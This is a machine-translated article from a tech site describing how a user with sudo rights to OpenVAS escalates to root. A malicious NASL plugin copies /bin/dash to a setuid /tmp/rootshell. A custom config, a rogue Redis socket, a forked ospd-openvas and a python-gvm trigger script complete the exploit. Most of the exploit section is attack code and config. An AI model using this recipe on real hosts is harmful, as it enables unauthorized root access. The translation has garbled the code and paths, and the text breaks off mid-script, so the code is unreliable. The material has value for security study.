Shulou(Shulou.com)05/31 Report--

This article will explain in detail the example analysis of local rights loopholes in OpenVAS. The editor thinks it is very practical, so I share it with you as a reference. I hope you can get something after reading this article.

Background knowledge of OpenVAS workflow

OpenVAS is one of the most popular vulnerability scanning tools. When you install OpenVAS, you only get the source code of OepnVAS (https://github.com/greenbone/openvas-scanner), not an executable program that can be used at any time. You need two additional components:

A project that implements the OSP protocol (https://github.com/greenbone/ospd/), such as ospd-openvas (https://github.com/greenbone/ospd-openvas).

A code base similar to python-gvm (https://python-gvm.readthedocs.io/) that provides a programming interface and allows interaction with OpenVAS through ospd-openvas and using OSP sessions.

Based on the python-gvm documentation, we got the following sample code (# id8):

This is the easiest and lightest workflow to perform OpenVAS. Of course, there are other workflow practices, but they may involve virtual machines or more complex components.

Going back to our demonstration example, in order to run the previous code snippet successfully, we must be able to communicate with ospd-openvas (a Unix Socket). To achieve this, we can set Socket permissions (# L55) or run ospd-openvas as our user.

In addition, an important recommendation (point 5) in the OpenVAS installation documentation (https://github.com/greenbone/openvas-scanner/blob/master/INSTALL.md) is about running OpenVAS as the root user:

Note that although you can run OpenVAS as a user without elevated privileges, it is recommended that you start OpenVAS as root, because many network vulnerability tests require root privileges to perform certain actions, such as packet spoofing, and so on. If you run OpenVAS as a user without permission to perform these operations, the scan results may be incomplete.

Therefore, the program advises the user to run ospd-openvas with sudo privileges. For example, on Ubuntu Groovy (20.10), there is a special package for ospd-openvas that can run the service as the _ gvm user. The _ gvm user will invoke OpenVAS with sudo privileges. This user has nologin shell, so I assume that OpenVAS will do the following:

Schedule through other processes running as _ gvm.

It is scheduled by a higher-level (such as root) process that can be fork-owned by the _ gvm user.

In my opinion, this is a secure way to run OpenVAS.

Based on my personal experience in implementing OpenVAS workflows, there are some differences:

All the packages involved have a consistent version (that is, 8.1 https://github.com/greenbone/openvas-scanner/releases), so you can upgrade manually to get the latest features.

The operating system package is a bit outdated or does not exist (ospd-openvas does not exist in 04), so users must build their own package, which requires custom users and permissions to run.

The scan may get stuck or cannot be completed, so you need to provide some monitoring solutions around OpenVAS.

There are many other protocols (https://python-gvm.readthedocs.io/en/latest/api/protocols.html) that can interact with OpenVAS.

Finally, there are several ways to implement OpenVAS workflows that can be derived in different permission/ownership scenarios and allow end users to have sudo privileges to execute OpenVAS. As penetration testers, it's important for us to know that if we have a Shell to execute OpenVAS as a user with sudo privileges, we can upgrade our permissions to root, so let's go this way!

The highest eminence is to be gained step by step

Now, one of the interesting features of our users who have sudo privileges to execute OpenVAS,OpenVAS code is the ability to use the-c option to modify configuration information at run time. In the following figure, I demonstrated how to use the-s option to display configuration information:

After studying the different configuration information, I learned how to take advantage of them.

The OpenVAS code loads the plug-in from the plugins_folder path defined in the settings, so if I can point this directory to a directory where malicious plug-ins are stored at run time, can I have OpenVAS run our malicious code when performing a scan?

Vulnerability exploitation

To exploit this privilege vulnerability, first create a malicious plug-in in the directory / tmp/plugins:

If (description) {script_oid ("1.2.3.4.5"); script_tag (name: "last_modification", value: "2021-03-21 12:22:31 + 0100 (Sun, 21 Mar 2021)"); script_tag (name: "creation_date", value: "2021-03-21 12:22:31 + 0100 (Sun, 21 Mar 2021)"); script_tag (name: "cvss_base", value: "2021") Script_tag (name: "cvss_base_vector", value: "AV:N/AC:L/Au:N/C:N/I:N/A:N"); script_name ("Malicious"); script_category (ACT_SCANNER); script_family ("Port scanners"); exit (0);} args = make_list ("cp", "/ bin/dash", "/ tmp/rootshell"); ret = pread (cmd: "cp", argv: args, cd: FALSE) Args = make_list ("chmod", "+ s", "/ tmp/rootshell"); ret = pread (cmd: "chmod", argv: args, cd: FALSE); exit (0)

The malicious NASL plug-in will create a rootshell when executed (lines 15-18). Remember the plug-in ID 1.2.3.4.5 declared in line 3 of the code, because we'll use it later. In addition, for a valid plugins_folder, it must contain a file named plugin_feed_info.inc that contains a valid date string:

PLUGIN_SET = "202006091543"

Next, we need to create our malicious profile under the / tmp/openvas.conf path, which will be provided to OpenVAS through the-c option:

Plugins_folder = / tmp/pluginsdb_address = / tmp/redis-server.sock

It is responsible for referencing our malicious plug-in directory and pointing to a Redis Socket (OpenVAS uses an Redis database to store some scan information). In Ubuntu Groovy, Redis (https://redis.io/) instances need to be instantiated first and have strict permission restrictions:

To do this, I opened my own instance of Redis to listen on / tmp/redis-server.sock and set it in my malicious configuration.

The next important step is that we need to run ospd-openvas to communicate with OpenVAS. The official ospd-openvas project (https://github.com/greenbone/ospd-openvas) calls OpenVAS using sudo, but the-c option is not set. So I created a fork (https://github.com/csalazar/ospd-openvas) and added the-c option pointing to our malicious configuration:

In my exploit scenario, I will run my fork with the following configuration information:

[OSPD-openvas] log_level = INFOsocket_mode = 0o770unix_socket = / tmp/ospd-openvas.sockpid_file = / tmp/ospd-openvas.pidlog_file = / tmp/ospd-openvas.loglock_file_dir = / tmp

This configuration is mainly used to create an ospd-openvas Socket in / tmp/ospd-openvas.sock so that I can control it.

The final step is to trigger the scan task, here I use the following script:

Import osimport uuid from gvm.connections import UnixSocketConnectionfrom gvm.protocols.latest import Osp def run_openvas (): path= "/ tmp/ospd-openvas.sock" connection= UnixSocketConnection (path=path) osp = Osp (connection=connection) # Prepare scan data MALICIOUS_PLUGIN_ID = "1.2.3.4.5" vts = {MALICIOUS_PLUGIN_ID: {}} targets = [{"hosts": "localhost" "ports": "22"}] with osp: scan_id= str (uuid.uuid4 ()) osp.start_scan (scan_id=scan_id, targets=targets, vt_selection=vts)

Let's take a look at what the above code does:

Line 8 refers to my ospd-openvas Socket

Line 14 adds a malicious plug-in that needs to run

Line 19 invokes the scan task

If all goes well, we can get a rootshell at / tmp/rootshell!

Execute a vulnerability exploitation scheme

To facilitate testing in an isolated environment, I provide a sample Vagrantfile to lift rights from runner users:

$script =

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.